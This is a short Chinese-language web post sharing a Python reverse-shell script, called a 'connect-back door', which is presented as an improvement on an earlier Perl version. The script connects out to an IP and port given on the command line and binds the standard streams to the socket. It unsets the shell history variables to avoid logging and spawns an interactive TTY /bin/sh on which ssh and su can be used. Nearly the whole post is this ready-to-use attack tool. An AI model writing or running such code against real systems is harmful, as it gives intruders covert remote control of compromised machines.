| 关键词: socket connect sys print argv fileno usage main unsetenv 直接 |
一不小心高潮了…… 小雨写的一个,替代之前的perl版本的,可以直接返回ttyshell返回的shell可以直接ssh,su等操作#!/usr/bin/pythonimport sysimport osimport socketimport ptyshell = "/bin/sh"def usage(programname):print "ython connect-back door"print "Usage: %s <conn_back_ip> <port>" % programnamedef main():if len(sys.argv) !=3:usage(sys.argv[0])sys.exit(1)s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))print "[+]Connect OK."except:print "[-]Can't connect"sys.exit(2)os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)global shellos.unsetenv("HISTFILE")os.unsetenv("HISTFILESIZE")pty.spawn(shell)s.close()if __name__ == "__main__":main() |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|